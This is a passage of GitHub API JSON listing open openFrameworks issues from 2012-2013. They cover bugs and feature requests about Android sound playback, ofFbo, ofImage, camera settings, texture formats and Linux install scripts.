myImage.height ) );\n}\n```"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1714","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1714/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1714/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1714/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1714","id":8628643,"number":1714,"title":"Android SoundPlayer: setSpeed(), getPosition()","user":{"login":"thiagohersan","id":850815,"avatar_url":"https://secure.gravatar.com/avatar/b3d17564d4e5a5b5925aab9c8af761cf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b3d17564d4e5a5b5925aab9c8af761cf","url":"https://api.github.com/users/thiagohersan","html_url":"https://github.com/thiagohersan","followers_url":"https://api.github.com/users/thiagohersan/followers","following_url":"https://api.github.com/users/thiagohersan/following","gists_url":"https://api.github.com/users/thiagohersan/gists{/gist_id}","starred_url":"https://api.github.com/users/thiagohersan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/thiagohersan/subscriptions","organizations_url":"https://api.github.com/users/thiagohersan/orgs","repos_url":"https://api.github.com/users/thiagohersan/repos","events_url":"https://api.github.com/users/thiagohersan/events{/privacy}","received_events_url":"https://api.github.com/users/thiagohersan/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/android","name":"android","color":"2bc4ad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-11-24T12:48:12Z","updated_at":"2012-11-24T14:31:00Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"This is what I found while running the androidSoundPlayerExample: for each of the 3 audio players, at any given time, either ```setSpeed( )``` works, or ```getPosition( )``` works, but never both.\n\nI think it has to do with the ```stream``` variable and multiplay functionality. And whether the sound is beng played with the ```MediaPlayer``` object, or the ```SoundPool```.\n\nLooking at [getPosition()](https://github.com/openframeworks/openFrameworks/blob/develop/addons/ofxAndroid/ofAndroidLib/src/cc/openframeworks/OFAndroidSoundPlayer.java#L156-L160) you can see that if ```stream``` is not true, and we're using a ```SoundPool```, it always returns zero for the position.\n\nAnd in [setSpeed(...)](https://github.com/openframeworks/openFrameworks/blob/develop/addons/ofxAndroid/ofAndroidLib/src/cc/openframeworks/OFAndroidSoundPlayer.java#L156-L160), if ```stream``` is true, and we're using a ```MediaPlayer```, it doesn't really use the ```speed``` variable anywhere.\n\nIs this some limitation of Android? [MediaPlayer](http://developer.android.com/reference/android/media/MediaPlayer.html) doesn't seem to have a setSpeed method, and [SoundPool](http://developer.android.com/reference/android/media/SoundPool.html) doesn't have a getPosition... \n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1707","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1707/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1707/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1707/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1707","id":8497996,"number":1707,"title":"Remove bleeding-edge code::blocks installation from setup scripts","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":2,"created_at":"2012-11-20T09:34:23Z","updated_at":"2013-02-11T12:12:37Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"It shouldn't be necessary anymore to look for the latest C::B version anymore. I think this is just a leftover from when codeblocks 9 or 10 was out, but the linux distributions still shipped 8, and we needed some features/fixes from 9. \r\nthis would fix [some issues](http://videosynthesis.net/oftesting/testruns/20121119_172737-standard_run/vagrant-debian6.0.5-gnome-32bit/tests/install_codeblocks.sh/) in the debian install script on the build server.\r\n@arturoc confirms this.\r\n\r\nsolution: remove the nightly installation code from the various linux install scripts. \r\n\r\n@arturoc I've assigned you, is that OK?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1705","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1705/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1705/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1705/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1705","id":8461663,"number":1705,"title":"Bugfix: fixed compiling bug when using rtAudio on Release mode","user":{"login":"eranws","id":770012,"avatar_url":"https://secure.gravatar.com/avatar/5a5ee3be893f4aba3ee3fc694050524a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5a5ee3be893f4aba3ee3fc694050524a","url":"https://api.github.com/users/eranws","html_url":"https://github.com/eranws","followers_url":"https://api.github.com/users/eranws/followers","following_url":"https://api.github.com/users/eranws/following","gists_url":"https://api.github.com/users/eranws/gists{/gist_id}","starred_url":"https://api.github.com/users/eranws/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/eranws/subscriptions","organizations_url":"https://api.github.com/users/eranws/orgs","repos_url":"https://api.github.com/users/eranws/repos","events_url":"https://api.github.com/users/eranws/events{/privacy}","received_events_url":"https://api.github.com/users/eranws/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":5,"created_at":"2012-11-19T08:20:40Z","updated_at":"2013-03-09T14:47:54Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1705","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1705.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1705.patch"},"body":"updated libs/openFrameworksCompiled/project/vs2010/openFrameworksRelease.props"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1696","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1696/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1696/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1696/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1696","id":8313536,"number":1696,"title":"Add missing OpenGL texture format GL_RG","user":{"login":"timscaffidi","id":177125,"avatar_url":"https://secure.gravatar.com/avatar/2ad43b65cb02eca2b722133681647492?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2ad43b65cb02eca2b722133681647492","url":"https://api.github.com/users/timscaffidi","html_url":"https://github.com/timscaffidi","followers_url":"https://api.github.com/users/timscaffidi/followers","following_url":"https://api.github.com/users/timscaffidi/following","gists_url":"https://api.github.com/users/timscaffidi/gists{/gist_id}","starred_url":"https://api.github.com/users/timscaffidi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/timscaffidi/subscriptions","organizations_url":"https://api.github.com/users/timscaffidi/orgs","repos_url":"https://api.github.com/users/timscaffidi/repos","events_url":"https://api.github.com/users/timscaffidi/events{/privacy}","received_events_url":"https://api.github.com/users/timscaffidi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-11-13T06:15:45Z","updated_at":"2012-11-13T18:23:59Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"GL_RG... formats are not recognized in the ofGetGlFormatAndType() function. These formats could be useful for general purpose processing on the GPU, specifically GL_RG32F. Unless there is some specific reason not to add support for these formats, I'd be glad to submit a PR to add them."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1691","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1691/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1691/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1691/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1691","id":8253466,"number":1691,"title":"ofImage seems redundant (long term)","user":{"login":"timscaffidi","id":177125,"avatar_url":"https://secure.gravatar.com/avatar/2ad43b65cb02eca2b722133681647492?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2ad43b65cb02eca2b722133681647492","url":"https://api.github.com/users/timscaffidi","html_url":"https://github.com/timscaffidi","followers_url":"https://api.github.com/users/timscaffidi/followers","following_url":"https://api.github.com/users/timscaffidi/following","gists_url":"https://api.github.com/users/timscaffidi/gists{/gist_id}","starred_url":"https://api.github.com/users/timscaffidi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/timscaffidi/subscriptions","organizations_url":"https://api.github.com/users/timscaffidi/orgs","repos_url":"https://api.github.com/users/timscaffidi/repos","events_url":"https://api.github.com/users/timscaffidi/events{/privacy}","received_events_url":"https://api.github.com/users/timscaffidi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2012-11-09T22:04:22Z","updated_at":"2012-11-16T23:06:17Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"While writing issue #1690, I started questioning why ofImage exists as a class that can be instantiated.\r\n\r\nIn my mind it seems that ofImage is really a container of ofTexture and ofPixels with load/save routines.\r\n\r\n* With ofLoadImage() we can already directly load to ofPixels and ofTexture.\r\n* It almost never makes sense to use a bunch of ofImages over a combination of ofTexture/ofPixels other than to (maybe) save a few lines of code.\r\n\r\nofImage seems to me like a shortcut for very simple tasks, like loading and displaying one image really easily. Beyond that, for more advanced tasks, I think it can get a bit confusing to use, and actually less useful once you have to start using setUseTexture(false), for example.\r\n\r\nI'm sure there are a lot of valuable use cases for ofImage that make it convenient for beginners to learn oF, but I also think it makes things more confusing later down the line to have to learn about the difference between main memory and GFX memory. In an OpenGL focused graphics library, this concept is very important."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1690","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1690/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1690/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1690/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1690","id":8252679,"number":1690,"title":"imageSequenceExample should use a vector of ofPixels not ofImages","user":{"login":"timscaffidi","id":177125,"avatar_url":"https://secure.gravatar.com/avatar/2ad43b65cb02eca2b722133681647492?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2ad43b65cb02eca2b722133681647492","url":"https://api.github.com/users/timscaffidi","html_url":"https://github.com/timscaffidi","followers_url":"https://api.github.com/users/timscaffidi/followers","following_url":"https://api.github.com/users/timscaffidi/following","gists_url":"https://api.github.com/users/timscaffidi/gists{/gist_id}","starred_url":"https://api.github.com/users/timscaffidi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/timscaffidi/subscriptions","organizations_url":"https://api.github.com/users/timscaffidi/orgs","repos_url":"https://api.github.com/users/timscaffidi/repos","events_url":"https://api.github.com/users/timscaffidi/events{/privacy}","received_events_url":"https://api.github.com/users/timscaffidi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":5,"created_at":"2012-11-09T21:32:21Z","updated_at":"2012-11-10T15:07:27Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"[imageSequenceExample](https://github.com/openframeworks/openFrameworks/blob/master/examples/graphics/imageSequenceExample/src/testApp.cpp)\r\nBeginners trying to build off of this example will run into problems because each frame will have its own texture reference and will rapidly eat gfx memory.\r\nSee [this thread](http://forum.openframeworks.cc/index.php?topic=11051.new;topicseen#new) for an example of someone trying to extend it and getting stuck.\r\n\r\nThe imageSequenceExample should use a vector of ofPixels objects and an ofTexture to display the pixels when they are needed.\r\n\r\nofImage should only be used for loading in this case. actually ofLoadImage() can load directly into an ofPixels object so ofImage really isn't needed at all."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1689","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1689/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1689/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1689/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1689","id":8232698,"number":1689,"title":"Cannot set numColorBuffers to zero in ofFbo","user":{"login":"neilmendoza","id":818571,"avatar_url":"https://secure.gravatar.com/avatar/3e46b12547e7bac19eb982bc512b19c4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3e46b12547e7bac19eb982bc512b19c4","url":"https://api.github.com/users/neilmendoza","html_url":"https://github.com/neilmendoza","followers_url":"https://api.github.com/users/neilmendoza/followers","following_url":"https://api.github.com/users/neilmendoza/following","gists_url":"https://api.github.com/users/neilmendoza/gists{/gist_id}","starred_url":"https://api.github.com/users/neilmendoza/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/neilmendoza/subscriptions","organizations_url":"https://api.github.com/users/neilmendoza/orgs","repos_url":"https://api.github.com/users/neilmendoza/repos","events_url":"https://api.github.com/users/neilmendoza/events{/privacy}","received_events_url":"https://api.github.com/users/neilmendoza/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2012-11-09T10:25:29Z","updated_at":"2012-11-13T20:26:38Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"If I try to set an FBO up exclusively for rendering depth information like this...\r\n\r\n```cpp\r\n ofFbo::Settings s;\r\n s.depthStencilAsTexture = true;\r\n s.depthStencilInternalFormat = GL_DEPTH_COMPONENT24;\r\n s.useDepth = true;\r\n s.numColorbuffers = 0;\r\n s.width = 1024;\r\n s.height = 1024;\r\n fbo.allocate(s);\r\n```\r\n...I get the following error when I call fbo.getDepthTexture().draw()...\r\n\r\n[ofFbo:error] FRAMEBUFFER_INCOMPLETE_DRAW_BUFFER"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1684","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1684/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1684/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1684/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1684","id":8145509,"number":1684,"title":"popView: couldn't pop projection matrix, stack empty. probably wrong anidated push/popView","user":{"login":"khlrqa","id":53301,"avatar_url":"https://secure.gravatar.com/avatar/dfa7e4582a04e784d50c750ae51d894f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"dfa7e4582a04e784d50c750ae51d894f","url":"https://api.github.com/users/khlrqa","html_url":"https://github.com/khlrqa","followers_url":"https://api.github.com/users/khlrqa/followers","following_url":"https://api.github.com/users/khlrqa/following","gists_url":"https://api.github.com/users/khlrqa/gists{/gist_id}","starred_url":"https://api.github.com/users/khlrqa/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/khlrqa/subscriptions","organizations_url":"https://api.github.com/users/khlrqa/orgs","repos_url":"https://api.github.com/users/khlrqa/repos","events_url":"https://api.github.com/users/khlrqa/events{/privacy}","received_events_url":"https://api.github.com/users/khlrqa/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/regression","name":"regression","color":"e10c02"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":4,"created_at":"2012-11-06T17:08:45Z","updated_at":"2013-02-11T12:16:06Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hi!\r\nAfter porting my iOS app from 007 to 0072 I am getting these two errors every frame:\r\n\r\n```c++\r\npopView: couldn't pop projection matrix, stack empty. probably wrong anidated push/popView\r\npopView: couldn't pop modelView matrix, stack empty. probably wrong anidated push/popView\r\n```\r\n\r\nI commented the two lines ofLogError() out in ofGLRenderer.cpp to not affect performance, everything still works fine, what could be the problem? (I am using ofFbo in the project btw)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1683","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1683/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1683/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1683/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1683","id":8106839,"number":1683,"title":"ofCamera / ofEasyCam - add easy way to save/load settings.","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":15,"created_at":"2012-11-05T14:54:56Z","updated_at":"2013-01-31T13:48:16Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I spent a few hours trying to find which data within ofEasyCam needed to be load / saved to disk to save and restore a view. \r\n\r\nI found it pretty unclear ( due to the multiple levels of inheritance ), where this core data lies. \r\n\r\nIn the end I resorted to memcpy-ing the entire object to a buffer and writing it to disk as a binary file. \r\nThis works well for my needs - but maybe we could make it a little easier? :)\r\n\r\nThis could relate to ofParameter and ofParamList->serialize() or something like that. \r\n\r\n@elliotwoods @arturoc "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1678","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1678/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1678/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1678/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1678","id":8072517,"number":1678,"title":"Project Generator | OfxOpenNI","user":{"login":"FdeFabricio","id":1853854,"avatar_url":"https://secure.gravatar.com/avatar/2c4b4343e8077aac897a31e501937410?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2c4b4343e8077aac897a31e501937410","url":"https://api.github.com/users/FdeFabricio","html_url":"https://github.com/FdeFabricio","followers_url":"https://api.github.com/users/FdeFabricio/followers","following_url":"https://api.github.com/users/FdeFabricio/following","gists_url":"https://api.github.com/users/FdeFabricio/gists{/gist_id}","starred_url":"https://api.github.com/users/FdeFabricio/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FdeFabricio/subscriptions","organizations_url":"https://api.github.com/users/FdeFabricio/orgs","repos_url":"https://api.github.com/users/FdeFabricio/repos","events_url":"https://api.github.com/users/FdeFabricio/events{/privacy}","received_events_url":"https://api.github.com/users/FdeFabricio/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":null,"milestone":null,"comments":6,"created_at":"2012-11-02T21:48:16Z","updated_at":"2012-11-03T16:08:11Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"The projects with OpenNI's addon generated by the Project Generator are not linked with the files at /addons/ofxOpenNI/src\r\n\r\nI'm doing it directly at the CodeBlocks, but I'm just saying... there's an error at the generator"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1674","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1674/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1674/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1674/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1674","id":7984399,"number":1674,"title":"ofFbo readToPixels() causing crashes or garbled images","user":{"login":"jasonlevine","id":2553924,"avatar_url":"https://secure.gravatar.com/avatar/0996b4753ac25ee6e531b560ff612b81?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"0996b4753ac25ee6e531b560ff612b81","url":"https://api.github.com/users/jasonlevine","html_url":"https://github.com/jasonlevine","followers_url":"https://api.github.com/users/jasonlevine/followers","following_url":"https://api.github.com/users/jasonlevine/following","gists_url":"https://api.github.com/users/jasonlevine/gists{/gist_id}","starred_url":"https://api.github.com/users/jasonlevine/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jasonlevine/subscriptions","organizations_url":"https://api.github.com/users/jasonlevine/orgs","repos_url":"https://api.github.com/users/jasonlevine/repos","events_url":"https://api.github.com/users/jasonlevine/events{/privacy}","received_events_url":"https://api.github.com/users/jasonlevine/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-2D","name":"section-2D","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/regression","name":"regression","color":"e10c02"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues"